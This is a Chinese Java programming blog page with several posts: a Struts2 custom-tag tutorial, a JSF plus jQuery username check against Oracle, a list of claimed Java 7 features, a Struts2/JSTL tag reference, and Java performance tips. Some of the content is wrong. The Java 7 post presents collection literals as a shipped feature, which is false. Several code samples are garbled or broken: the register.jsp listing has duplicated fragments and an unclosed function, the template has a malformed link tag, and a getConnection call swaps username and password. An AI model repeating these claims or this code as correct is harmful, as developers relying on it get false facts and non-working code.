随笔-124  评论-49  文章-56  trackbacks-0
  2010年4月23日
     摘要: JSF学习笔记   JSF事件驱动型的MVC框架,与流行的struts比较学习,易于理解。jsf component event事件是指从浏览器由用户操作触发的事件,Struts application event 是用Action来接受浏览器表单提交的事件,一个表单只能对应一个事件,application event和component event相比是一种粗粒度的事件。优点:事件...  阅读全文
posted @ 2011-05-30 21:48 junly 阅读(1253) | 评论 (2)编辑 收藏
Struts2 的UITag原理:
Struts2 UITag分三部份组成,一部份用于定义Tag的内容与逻辑的UIBean,一部份用于定义JSP Tag,也就是平时我们定义的那种,最后就是Template,它存放在你的theme目录之下,是一个FreeMarker模板文件。

我现在辑写一份MMTag,它主要是用于输出带链接的文字,比如像这样:
<cur:mm message="'I am a boy.'" />
就会输出:
<a href="http://www.blogjava.net/natlive">I am boy.</a>

我们先写UIBean部份:我们把它定义为MM,它继承于 org.apache.struts2.components.UIBean:

package limitstudy.corestruts2.tag;

import org.apache.struts2.components.UIBean;
import org.apache.struts2.views.annotations.StrutsTag;
import org.apache.struts2.views.annotations.StrutsTagAttribute;
import com.opensymphony.xwork2.util.ValueStack;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@StrutsTag(name="mm", tldTagClass="limitstudy.corestruts2.tag.MMTag", description="MM")
public class MM extends UIBean {
    private String message;

    public MM(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
        super(stack, request, response);
    }

    @Override
    protected String getDefaultTemplate() {
        return "mm";
    }

    @StrutsTagAttribute(description="set message", type="String")
    public void setMessage(String message) {
        this.message = message;
    }

    @Override
    protected void evaluateExtraParams() {
        super.evaluateExtraParams();

        if (null != message) {
            addParameter("message", findString(message));
        }
    }
}


* strutsTag注解指明了该UIBean的名字 和Tag类的类名。
* getDefaultTemplate()方法用于返回模板的名 字,Struts2会自动在后面加入.ftl扩展名以找到特定的模板文件。
* setXXX,设置UIBean的属性,一般Tag中有几个这样的属性,这里就有几个。@StrutsTagAttribute(description="set message", type="String") 注解,说明该属性是字符串(也可以是其它),这一步很重要。
* 覆写evaluateExtraParams() 方法,在UIBean初始化后会调用这个方法来初始化设定参数,如addParameter方法,会在freemarker里的parameters里加 入一个key value。这里要注意findString,还有相关的findxxxx方法,它们是已经封装好了的解释ognl语法的工具,具体是怎么样的,大家可以 查看一下UIBean的api doc。

然后是Tag部份:

package limitstudy.corestruts2.tag;

import org.apache.struts2.views.jsp.ui.AbstractUITag;
import org.apache.struts2.components.Component;
import com.opensymphony.xwork2.util.ValueStack;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MMTag extends AbstractUITag {
    private String message;

    @Override
    public Component getBean(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
        return new MM(stack, request, response);
    }

    @Override
    protected void populateParams() {
        super.populateParams();

        MM mm = (MM)component;
        mm.setMessage(message);
    }

    public void setMessage(String message) {
        this.message = message;
    }
}


* getBean()返回该Tag中的UIBean。
* populateParams()初始化参数,一般用来初始化UIBean(Component)。
* setXXXX设置属性,和jsp tag是一样的。

在/WEB-INF/tlds/下建立current.tld文件(文名随你喜欢):

<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <description>test</description>
    <tlib-version>2.0</tlib-version>
    <short-name>cur</short-name>
    <uri>/cur</uri>

    <tag>
        <name>mm</name>
        <tag-class>limitstudy.corestruts2.tag.MMTag</tag-class>
        <body-content>JSP</body-content>
        <attribute>
            <name>message</name>
            <required>true</required>
        </attribute>
    </tag>
</taglib>


在源代码目录中建立template/simple目录(这个目录名和你的theme有关),然后在里面建一个 mm.ftl文件:

<href="http://www.yinsha.com">${parameters.message?html}</a>


建一个action测试一下,视图文件:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ taglib prefix="cur" uri="/cur" %>
<html>
<head>
    <title><s:property value="message" /></title>
</head>
<body>
<cur:mm message="haoahahhahaha" />
</body>
</html>


完。

PS: 写得有些粗鄙,所以,如有问题的,可以留言。

 

 

 

http://devilkirin.javaeye.com/blog/427395

http://xiaojianhx.javaeye.com/blog/482888
posted @ 2011-05-30 21:43 junly 阅读(1112) | 评论 (1)编辑 收藏

Page


The following is register.jsp, which takes required information from user regarding registration. For this example, we focus only on validation of username and not the actual registration process.

The most important thing is to know how to access JSF component from JQuery. The id given to inputText is consisting of formid:componentid. So in this example the id given to textbox is  registerform:username. But the presence of : (colon) causes problem to JQuery. So, we need to escape : (colon) using two \\ characters before colon - registerform\\:username.

//register.jsp
<%@page contentType="text/html" %>de">

<%@page contentType=
"text/html" %>
<!DOCTYPE HTML PUBLIC 
"-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
<html>
    
<head>
        
<script language="javascript" src="jquery-1.4.2.js"></script>
        
<script language="javascript">
            
function checkUsername(){
                $.get( 
"checkusername.jsp",{username : $("#registerform\\:username").val()},updateUsername);
            }
            
function updateUsername(response)
            {
                
if (response) {
                    $(
"#usernameresult").text(response);  // update SPAN item with result
            }
        
</script>
        
<title>Registration</title>
    
</head>
    
<body>
        
<%@taglib prefix="f" uri="http://java.sun.com/jsf/core"%>
        
<%@taglib prefix="h" uri="http://java.sun.com/jsf/html"%>
        
<f:view>
           
<h2>Registration </h2>
           
<h:form  id="registerform">
           
<table>
                    
<tr>
                        
<td>Username : </td>
                        
<td><h:inputText id="username" value="#{userBean.username}"  required="true" onblur="checkUsername()" />
                            
<h:message for="username" />
                            
<span id="usernameresult" />
                    
</tr>
                    
<tr>
                        
<td>Password : </td>
                        
<td><h:inputSecret id="password" value="#{userBean.password}"  required="true" /> <h:message for="password" /> </td>
                    
</tr>
                    
<tr>
                        
<td>Re-enter Password : </td>
                        
<td><h:inputSecret id="confirmPwd" value="#{userBean.confirmPwd}"  required="true" /> <h:message for="confirmPwd" /> </td>
                    
</tr>
                    
<tr>
                        
<td>Email Address  : </td>
                        
<td><h:inputText id="email" value="#{userBean.email}" required="true" onblur="checkEmail()"  /> <h:message for="email" /> </td>
                            
<span id="emailresult" />
                    
</tr>
               
</table>
                                
              
<p/>
              
<h:commandButton actionListener="#{userBean.register}" value="Register" />
              
<p/>
              
<h3><h:outputText value="#{userBean.message}" escape="false"  /> </h3>
              
<p/>
           
</h:form>
        
</f:view>
    
</body>
</html>lt;/f:view>
    
</body>
</html>

Bean


The above JSF Form uses userBean, which is the name given to beans.UserBean class. The class and its entries in faces-config.xml file are given below.
UserBean is the managed bean that stores data coming from JSF form. It contains an action listener - register(), which is supposed to process the data to complete registration process. We don't deal with it as our focus is only on validating username.
//UserBean.java
package beans;

public class UserBean {
    
private String username, password, email,confirmPwd, message;

    
public UserBean() {
    }

    
public String getPassword() {
        
return password;
    }

    
public void setPassword(String password) {
        
this.password = password;
    }

    
public String getUsername() {
        
return username;
    }

    
public void setUsername(String username) {
        
this.username = username;
    }

    
public String getConfirmPwd() {
        
return confirmPwd;
    }

    
public void setConfirmPwd(String confirmPwd) {
        
this.confirmPwd = confirmPwd;
    }

    
public String getEmail() {
        
return email;
    }

    
public void setEmail(String email) {
        
this.email = email;
    }

    
public String getMessage() {
        
return message;
    }

    
public void setMessage(String message) {
        
this.message = message;
    }

    
public void  register(ActionEvent evt) {
       
if (! password.equals(confirmPwd))
       {
             message 
= "Password do not match!";
             
return;
       }
       
// do registration
    } // register
}

xml


The following entry is required in faces-config.xml for UserBean managed bean.
<!-- faces-config.xml -->
<managed-bean>
        
<managed-bean-name>userBean</managed-bean-name>
        
<managed-bean-class>beans.UserBean</managed-bean-class>
        
<managed-bean-scope>request</managed-bean-scope>
</managed-bean>  

Check

Now create a checkusername.jsp to check whether given username is valid. It sends a message if username is already exists otherwise it sends empty string (nothing).
<%@ page import="java.sql.*"  contentType="text/plain"%>
<%
 String username 
= request.getParameter("username");  // sent from client
 
// connect to oracle using thin driver
 Class.forName("oracle.jdbc.driver.OracleDriver");
 Connection con 
= DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe","youruser","yourpassword");
 PreparedStatement ps 
= con.prepareStatement("select username from users where username = ?");
 ps.setString(
1,username);
 ResultSet  rs 
= ps.executeQuery();
 
if ( rs.next()) { // found username
    out.println("Username is already present!");  // send this to client
 }
 rs.close();
 ps.close();
 con.close();
%>

Deploy and Test

Now deploy the web application and run register.jsp. If you enter a username that is already present in USERS table then we get message - Username is already present - in SPAN item on the right of username field. If username is unique then SPAN item is set to empty string ( as JSP returns nothing).

from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx
posted @ 2011-05-30 21:38 junly 阅读(768) | 评论 (0)编辑 收藏

Java 7已经完成的7大新功能:
      1 对集合类的语言支持;
      2 自动资源管理;
      3 改进的通用实例创建类型推断;
      4 数字字面量下划线支持;
      5 switch中使用string;
      6 二进制字面量;
      7 简化可变参数方法调用。

      下面我们来仔细看一下这7大新功能:
      1 对集合类的语言支持
      Java将包含对创建集合类的第一类语言支持。这意味着集合类的创建可以像Ruby和Perl那样了。
      原本需要这样:
         List<String> list = new ArrayList<String>();
         list.add("item");
         String item = list.get(0);
  
         Set<String> set = new HashSet<String>();
         set.add("item");
         Map<String, Integer> map = new HashMap<String, Integer>();
         map.put("key", 1);
         int value = map.get("key");

      现在你可以这样:
         List<String> list = ["item"];
         String item = list[0];
        
         Set<String> set = {"item"};
        
         Map<String, Integer> map = {"key" : 1};
         int value = map["key"];

      这些集合是不可变的。

  
      2 自动资源管理
      Java中某些资源是需要手动关闭的,如InputStream,Writes,Sockets,Sql classes等。这个新的语言特性允许try语句本身申请更多的资源,
   这些资源作用于try代码块,并自动关闭。
      这个:
         BufferedReader br = new BufferedReader(new FileReader(path));
         try {
         return br.readLine();
               } finally {
                   br.close();
         }

      变成了这个:
          try (BufferedReader br = new BufferedReader(new FileReader(path)) {
             return br.readLine();
          }
   
      你可以定义关闭多个资源:
         try (
             InputStream in = new FileInputStream(src);
             OutputStream out = new FileOutputStream(dest))
         {
         // code
         }
      为了支持这个行为,所有可关闭的类将被修改为可以实现一个Closable(可关闭的)接口。
  

      3 增强的对通用实例创建(diamond)的类型推断
      类型推断是一个特殊的烦恼,下面的代码:
         Map<String, List<String>> anagrams = new HashMap<String, List<String>>();

      通过类型推断后变成:
         Map<String, List<String>> anagrams = new HashMap<>();
      这个<>被叫做diamond(钻石)运算符,这个运算符从引用的声明中推断类型。

  
      4 数字字面量下划线支持
      很长的数字可读性不好,在Java 7中可以使用下划线分隔长int以及long了,如:
         int one_million = 1_000_000;
   运算时先去除下划线,如:1_1 * 10 = 110,120 – 1_0 = 110
  

      5 switch中使用string
      以前你在switch中只能使用number或enum。现在你可以使用string了:
         String s = ...
         switch(s) {
         case "quux":
              processQuux(s);
     // fall-through
         case "foo":
   case "bar":
              processFooOrBar(s);
     break;
         case "baz":
        processBaz(s);
              // fall-through
   default:
              processDefault(s);
            break;
  }

  
      6 二进制字面量
      由于继承C语言,Java代码在传统上迫使程序员只能使用十进制,八进制或十六进制来表示数(numbers)。
      由于很少的域是以bit导向的,这种限制可能导致错误。你现在可以使用0b前缀创建二进制字面量:
         int binary = 0b1001_1001;
   现在,你可以使用二进制字面量这种表示方式,并且使用非常简短的代码,可将二进制字符转换为数据类型,如在byte或short。
   byte aByte = (byte)0b001;   
   short aShort = (short)0b010;   

  
      7 简化的可变参数调用
      当程序员试图使用一个不可具体化的可变参数并调用一个*varargs* (可变)方法时,编辑器会生成一个“非安全操作”的警告。
   JDK 7将警告从call转移到了方法声明(methord declaration)的过程中。这样API设计者就可以使用vararg,因为警告的数量大大减少了。

posted @ 2011-03-18 15:21 junly 阅读(16833) | 评论 (9)编辑 收藏

 
A:
<s:a href=""></s:a>-----超链接,类似于html里的<a></a>
<s:action name=""></s:action>-----执行一个view里面的一个action
<s:actionerror/>-----如果action的errors有值那么显示出来
<s:actionmessage/>-----如果action的message有值那么显示出来
<s:append var="newMerList">-----添加一个值到list,类似于list.add();
 <s:param value="merList1"></s:param>   
 <s:param value="merList2"></s:param>   
</s:append>

<s:autocompleter></s:autocompleter>-----自动完成<s:combobox>标签的内容,这个是ajax

B:
<s:bean name=""></s:bean>-----类似于struts1.x中的,JavaBean的值

C:
<s:checkbox></s:checkbox>-----复选框
<s:checkboxlist list=""></s:checkboxlist>-----多选框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----图像符号

D:
<s:date name="time" format="yyyy/MM/dd"/>-----获取日期格式
<s:datetimepicker></s:datetimepicker>-----日期输入框
<s:debug></s:debug>-----显示错误信息
<s:div></s:div>-----表示一个块,类似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----双下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
 chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}

E:
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----这3个标签一起使用,表示条件判断

F:
<s:fielderror></s:fielderror>-----显示文件错误信息
<s:file></s:file>-----文件上传
<s:form action=""></s:form>-----获取相应form的值

G:
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
 <s:iterator>   
  <s:property/>   
    </s:iterator>
</s:generator>----和<s:iterator>标签一起使用


H:
<s:head/>-----在<head></head>里使用,表示头文件结束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隐藏值

I:
<s:i18n name=""></s:i18n>-----加载资源包到值堆栈
<s:include value=""></s:include>-----包含一个输出,servlet或jsp页面
<s:inputtransferselect list=""></s:inputtransferselect>-----获取form的一个输入
<s:iterator value="userlist" var="user" status="s">
 <s:if test="#s.index == 0">
  <s:property value="name"/>
 </s:if>
 <s:property value="#s.even"/>
    <s:property value="#s.odd"/>  
 <s:property value="#s.first"/> 
 <s:property value="#s.last"/> 
 <s:property value="#s.count"/> 
</s:iterator>-----用于遍历集合
<s:if test="#list.size > 0 "></s:if>-----判断 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">

L:
<s:label></s:label>-----只读的标签

M:
<s:merge></s:merge>-----合并遍历集合出来的值

O:
<s:optgroup></s:optgroup>-----获取标签组
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右选择框

P:
<s:param name="pageSize" value="pageSize"/></s:param>-----为其他标签提供参数
<s:password></s:password>-----密码输入框
<s:property value="user.name" />-----得到'value'的属性
<s:push value=""></s:push>-----value的值push到栈中,从而使property标签的能够获取value的属性

R:

<s:radio name="type" list="#{0:'拍卖会',1:'展会'}" value="0"></s:radio>-----单选按钮
<s:reset></s:reset>-----重置按钮

S:
<s:select list=""></s:select>-----单选框
<s:set name=""></s:set>-----赋予变量一个特定范围内的值
<s:sort comparator=""></s:sort>-----通过属性给list分类
<s:submit></s:submit>-----提交按钮
<s:subset source="#subList" start="1" count="2">-----为遍历集合输出子集 
 <s:iterator>   
  <s:property/> 
 </s:iterator>   
</s:subset>


T:
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域输入框
<s:textfield></s:textfield>-----文本输入框
<s:token></s:token>-----拦截器
<s:tree></s:tree>-----树
<s:treenode label=""></s:treenode>-----树的结构

U:
<s:updownselect list=""></s:updownselect>-----多选择框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----创建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">            
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>      
<s:param name="sex" value="user.sex"/>                                    
</s:url>

 

 

JSTL语法及参数   
JSTL包含以下的标签:   
常用的标签:如<c:out>、<c:remove>、<c:catch>、<c:set>等   
条件标签:如<c:if><c:when>、<c:choose>、<c:otherwise>等   
URL标签:如<c:import>、<c:redirect>和<c:url>等   
XML标签:如<xml:out>等   
国际化输出标签:如<fmt:timeZone>等   
SQL标签:如<sql:query>、<sql:update>、<sql:transaction>等   
 
一般用途的标签:   
1.<c:out>   
没有Body时的语法   
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>   
有Body时的语法   
<c:out value=”value” [escapeXml=”{true|false}”]>   
这里是Body部分   
</c:out>   
 
名字 类型 描述   
value Object 将要输出的表达式   
escapeXml boolean 确定以下字符:<,>,&,’,”在字符串中是否被除数,默认为true   
default Object 如果vaule计算后的结果是null,那么输出这个默认值   

2.<c:set>   
这个标签用于在某个范围(page、request、session、application等)中使用某个名字设定特定的值,或者设定某个已经存在的javabean对象的属性。他类似于<%request.setAttrbute(“name”,”value”);%>   
语法1:使用value属性设定一个特定范围中的属性。   
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>   
语法2:使用value属性设定一个特定范围中的属性,并带有一个Body。   
<c:set var=”varName” [scope=”{page|request|session|application}”]>   
Body部分   
</c:set>   
语法3:设置某个特定对象的一个属性。   
<c:set value=”value” target=”target” property=”propertyName”/>   
语法4:设置某个特定对象的一个属性,并带有一个Body。   
<c:set target=”target” property=”propertyName”>   
Body部分   
</c:set>   
 
名字 类型 描述   
value Object 将要计算的表到式。   
var String 用于表示value 值的属性,如果要在其他标签中使用,就是通过这 个var指定的值来进行的。它相当于在标签定义了一个变量,并且这个变量只能在标签中的一个。   
scope String var的有效范围,可以是page|request|session|application中的一个   
target String 将要设置属性的对象,它必须是javabean或则java.util.Map对象   
property Object 待设定的Target对象中的属性名字,比如在javabean中有个name属性,提供了setUserId方法,那么这里填userId。    
 
3.<c:remove>   
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>    
 
4.<c:catch>   
这个标签相当于捕获在它里边的标签抛出的异常对象   
<c:catch [var=”varName”]> //var是异常的名字   
内容   
</c:catch>    
 
条件标签   
1. <c:if>   
语法1:无Body情况   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>   
语法2:有Body的情况   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>   
Body内容   
</c:if>   
 
名字 类型 描述   
test Boolean 表达式的条件,相当于if()中的条件判断语句。   
var String 表示这个语句的名字。   
scope String var这个变量的作用范围。    
 
2.<c:choose>   
语法:<c:choose>   
Body内容(<c:when>和<c:otherwise>子标签)   
</c:choose>   
注意:它的Body只能由以下元素组成:   
1) 空格   
2) 0或多个<c:when>子标签,<c:when>必须在<c:otherwise>标签之前出现.   
3) 0个或多个<c:otherwise>子标签。   
<c:choose>
   <c:when test="${param.age>70}">
   欢迎老年人
   </c:when>
   <c:when test="${param.age<70 and param.age>35}">
   欢迎中年人
   </c:when>
   <c:otherwise>
   您的年龄有误!
   </c:otherwise>
</c:choose>
 
3.<c:when>   
代表的是<c:choose>的一个条件分支,只能在<c:choose>中使用   
语法:<c:when test=”testCondition”> //test是boolean类型,用于判断条件真假   
Body语句   
</c:when>    
 
4.<c:otherwise>   
代表的是<c:choose>中的最后选择。必须在最后出现   
<c:otherwise>   
内容   
</c:otherwise>    
 
迭代标签   
1.<c:forEach>   
语法1:在Collection中迭代   
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body内容   
</c:foeEach>   
 
语法2:迭代固定的次数.   
<c:forEach [var=”varName”] [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body内容   
</c:foeEach>   
 
名字 类型 描述   
var String 迭代的参数,它是标签参数,在其他标签中通过它来引用这个标签中的内容。   
Items Collection、ArrayList、 要迭代的items集合.   
Iterator、Map、String、   
Eunmeration等   
VarStatus String 表示迭代的状态,可以访问迭代自身的信息   
Begin int 表示开始迭代的位置。   
End int 表示结束迭代的位置。   
Step int 表示迭代移动的步长,默认为1。    
 
URL相关的标签   
1.<c:import>   
语法1:资源的内容使用String对象向外暴露   
<c:import url=”url” [context=”context”]   
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>   
内容   
</c:import>   
 
语法2:资源的内容使用Reader对象向外暴露。   
<c:import url=”url” [context=”context”]   
varReader=”varReaderName” [charEncoding=”charEncoding”]>   
内容   
</c:import>   
名字 类型 描述   
url String 待导入资源的URL,可以是相对路径和绝对路径,并且可以导入其他主机资源   
context String 当使用相对路径访问外部context资源时,context指定了这个资源的名字。   
var String 参数的名字。   
scope String var参数的作用范围。   
cahrEncoding String 输入资源的字符编码。   
varReader String 这个参数的类型是Reader,用于读取资源。    
 
2.<c:redirct>   
语法1:没有Body的情况.   
<c:redirect url=”value” [context=”context”]/>   
语法2:有Body情况下,在Body中指定查询的参数   
<c:redirect url=”value” [context=”context”]>   
<c:param name=”name” value=”value”/>   
</c:redirect>    
 
3.<c:url>   
语法1:没有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>   
语法2:有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>   
<c:param name=”name” value=”value”/>   
</c:url>   
 
名字 类型 描述   
value String URL值   
context String 当使用相对路径访问外部context资源时,context指定了这个资源的名字   
var String 标识这个URL标量。   
Scope String 变量作用范围。    
 
SQL相关的标签   
1.<sql:setDataSource>   
2.<sql:query>   
3.<sql:update>   
4.<transaction>   
5.<param>

posted @ 2010-11-22 10:41 junly 阅读(400) | 评论 (0)编辑 收藏
 

1 CollectionMap接口的类对象初始化时要先分配合理的空间大小,同时还要按照自已的实际需求选择合适的对象。

例如:声明Vector vectnew Vector()时,系统调用:

public Vector() {

// 缺省构造函数

this(10);

// 容量是

10;} 

缺省分配10个对象大小容量。

2 优化循环体

循环是比较重复运行的地方,如果循环次数很大,循环体内不好的代码对效率的影响就会被放大而变的突出。

3 少用new初始化一个实例

尽量少用new来初始化一个类的实例,当一个对象是用new进行初始化时,其构造函数链的所有构造函数都被调用到,所以new操作符是很消耗系统资源的,new一个对象耗时往往是局部变量赋值耗时的上千倍。同时,当生成对象后,系统还要花时间进行垃圾回收和处理。当new创建对象不可避免时,注意避免多次的使用new初始化一个对象。尽量在使用时再创建该对象,另外,应该尽量重复使用一个对象,而不是声明新的同类对象。一个重用对象的方法是改变对象的值,如可以通过setValue之类的方法改变对象的变量达到重用的目的。


4 选择合适的方法调用:

Java中,一切都是对象,如果有方法(Method)调用,处理器先要检查该方法是属于哪个对象,该对象是否有效,对象属于什么类型,然后选择合适的方法并调用。可以减少方法的调用,不影响可读性等情况下,可以把几个小的方法合成一个大的方法。另外,在方法前加上finalprivate关键字有利于编译器的优化。


5异常处理技巧

异常是Java的一种错误处理机制,对程序来说是非常有用的,但是异常对性能不利。抛出异常首先要创建一个新的对象,并进行相关的处理,造成系统的开销,所以异常应该用在错误处理的情况,不应该用来控制程序流程,流程尽量用whileif等处理。在不是很影响代码健壮性的前提下,可以把几个try/catch块合成一个。

6 尽量使用局部变量

尽量使用局部变量,调用方法时传递的参数以及在调用中创建的临时变量都保存在栈(Stack 中,速度较快。其他变量,如静态变量、实例变量等,都在堆(Heap)中创建,速度较慢。  


7同步处理技巧

同步主要出现在多线程的情况,为多线程同时运行时提供对象数据安全的机制,多线程是比较复杂话题,应用多线程也是为了获得性能的提升,应该尽可能减少同步。

另外,如果需要同步的地方,可以减少同步的代码段,如只同步某个方法或函数,而不是整个代码。

8 尽可能的使用Java自身提供的API

JavaAPI一般都做了性能的考虑,如果完成相同的功能,优先使用API而不是自己写的代码,如数组复制。


9 尽量减少I/O操作

输入/输出(I/O)包括很多方面,我们知道,进行I/O操作是很消耗系统资源的。程序中应该尽量少用I/O操作。使用时可以注意: . 合理控制输出函数System.out.println()对于大多时候是有用的,特别是系统调试的时候,但也会产生大量的信息出现在控制台和日志上,同时输出时,有序列化和同步的过程,造成了开销。

特别是在发行版中,要合理的控制输出,可以在项目开发时,设计好一个Debug的工具类,在该类中可以实现输出开关,输出的级别,根据不同的情况进行不同的输出的控制。

10 尽量使用缓存

读写内存要比读写硬盘上的文件要快很多,应尽可能使用缓冲,以便直接从内存中读取数据。尽可能使用带有Buffer的类代替没有Buffer的类,如可以用BufferedReader 代替Reader,用BufferedWriter代替Writer来进行处理I/O操作。

同样可以用BufferedInputStream代替InputStream都可以获得性能的提高


11 尽量不使用同步:

Servlet是多线程的,以处理不同的请求,基于前面同步的分析,如果有太多的同步就失去了多线程的优势了。


12 不用保存太多的信息在HttpSession

很多时候,存储一些对象在HttpSession中是有必要的,可以加快系统的开发,如网上商店系统会把购物车信息保存在该用户的Session中,但当存储大量的信息或是大的对象在会话中时,是有害的,特别是当系统中用户的访问量很大,对内存的需求就会很高。具体开发时,在这两者之间应作好权衡。

13清除SESSION

通常情况,当达到设定的超时时间时,同时有些Session没有了活动,服务器会释放这些没有活动的Session.. 不过这种情况下,特别是多用户并访时,系统内存要维护多个的无效Session。当用户退出时,应该手动释放,回收资源,实现如下:..
HttpSession theSession = request.getSession();
// 获取当前Session
if(theSession != null){
 theSession.invalidate(); // 使该Session失效
}


14 缓存Home接口

EJB库使用Enterprise Bean 的客户端通过它的Home接口创建它的实例。客户端能通过JNDI访问它。服务器通过Lookup方法来获取。
JNDI是个远程对象,通过RMI方式调用,对它的访问往往是比较费时的。所以,在设计时可以设计一个类专门用来缓存Home接口,在系统初始化时就获得需要的Home接口并缓存,以后的引用只要引用缓存即可。

15 使用快速度的Jdbc驱动

JDBC API包括两种实现接口形式,一种是纯Java实现的驱动,一种利用ODBC驱动和数据库客户端实现,具体有四种驱动模式:

第一类:JDBC-ODBC桥,再加上ODBC驱动程序。
JDBC驱动程序是JDBC-ODBC桥再加上一个ODBC驱动程序。建议第一类驱动程序只用于原型开发,而不要用于正式的运行环境。桥接驱动程序由Sun提供,它的目标是支持传统的数据库系统。Sun为该软件提供关键问题的补丁,但不为该软件的最终用户提供支持。一般地,桥接驱动程序用于已经在ODBC技术上投资的情形,例如已经投资了Windows应用服务器。
尽管Sun提供了JDBC-ODBC桥接驱动程序,但由于ODBC会在客户端装载二进制代码和数据库客户端代码,这种技术不适用于高事务性的环境。另外,第一类JDBC驱动程序不支持完整的Java命令集,而是局限于ODBC驱动程序的功能,这种驱动方式也叫胖客户,主要用于低并发请求,大数据量传输的应用。

第二类:本机API,部分是Java的驱动程序。
JDBC驱动程序是本机API的部分Java代码的驱动程序,用于把JDBC调用转换成主流数据库API的本机调用。这类驱动程序也存在与第一类驱动程序一样的性能问题,即客户端载入二进制代码的问题,而且它们被绑定了特定的平台。
第二类驱动程序要求编写面向特定平台的代码,主流的数据库厂商,例如OracleIBM,都为它们的企业数据库平台提供了第二类驱动程序,使用这些驱动程序的开发者必须及时跟进不同数据库厂商针对不同操作系统发行的各个驱动程序版本。
另外,由于第二类驱动程序没有使用纯JavaAPI,把Java应用连接到数据源时,往往必须执行一些额外的配置工作。很多时候,第二类驱动程序不能在体系结构上与大型主机的数据源兼容;即使做到了兼容,效果也是比较差。

第三类:面向数据库中间件的纯Java驱动程序。
JDBC驱动程序是面向数据库中间件的纯Java驱动程序,JDBC调用被转换成一种中间件厂商的协议,中间件再把这些调用转换到数据库API。第三类JDBC驱动程序的优点是它以服务器为基础,也就是不再需要客户端的本机代码,这使第三类驱动程序要比第一、二两类快。另外,开发者还可以利用单一的驱动程序连接到多种数据库。

第四类:直接面向数据库的纯Java驱动程序。
JDBC驱动程序是直接面向数据库的纯Java驱动程序,即所谓的“瘦”(thin)驱动程序,它把JDBC调用转换成某种直接可被DBMS使用的网络协议,这样,客户机和应用服务器可以直接调用DBMS服务器。对于第四类驱动程序,不同DBMS的驱动程序不同。因此,在一个异构计算环境中,驱动程序的数量可能会比较多。但是,由于第四类驱动程序具有较高的性能,能够直接访问DBMS,所以这一问题就不那么突出了, 这种驱动方式,主要用于高并发,低数据量请求的应用中。

16 使用Jdbc链接池

为了提高访问数据库的性能,我们还可以使用JDBC 2.0的一些规范和特性,JDBC是占用资源的,在使用数据库连接时可以使用连接池Connection Pooling,避免频繁打开、关闭Connection。而我们知道,获取Connection是比较消耗系统资源的。
Connection缓冲池:当一个应用程序关闭一个数据库连接时,这个连接并不真正释放而是被循环利用,建立连接是消耗较大的操作,循环利用连接可以显著的提高性能,因为可以减少新连接的建立。

一个通过DataSource获取缓冲池获得连接,并连接到一个CustomerDB数据源的代码演示如下:
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");
Connection conn = dataSource.getConnection("password","username");


17 缓存DataSorce

一个DataSource对象代表一个实际的数据源。这个数据源可以是从关系数据库到表格形式的文件,完全依赖于它是怎样实现的,一个数据源对象注册到JNDI名字服务后,应用程序就可以从JNDI服务器上取得该对象,并使用之和数据源建立连接。
  通过上面的例子,我们知道DataSource是从连接池获得连接的一种方式,通过JNDI方式获得,是占用资源的。
  为了避免再次的JNDI调用,可以系统中缓存要使用的DataSource


18 即时关闭使用过的资源

互联网应用系统一般是并发的系统,在每次申请和使用完资源后,应该释放供别人使用,使用完成后应该保证彻底的释放。


19 架构选型

CoreMediaCMS将整个应用分成四成架构,每一层都可以独立于其他层而正常运行,每一层都可以分布式布署,极大的提高了应用系统的稳定性、可扩展性、支持高并发的要求,每一次之前通过中间件Corba进行稳定的传输数据。


20 开发框架的选型

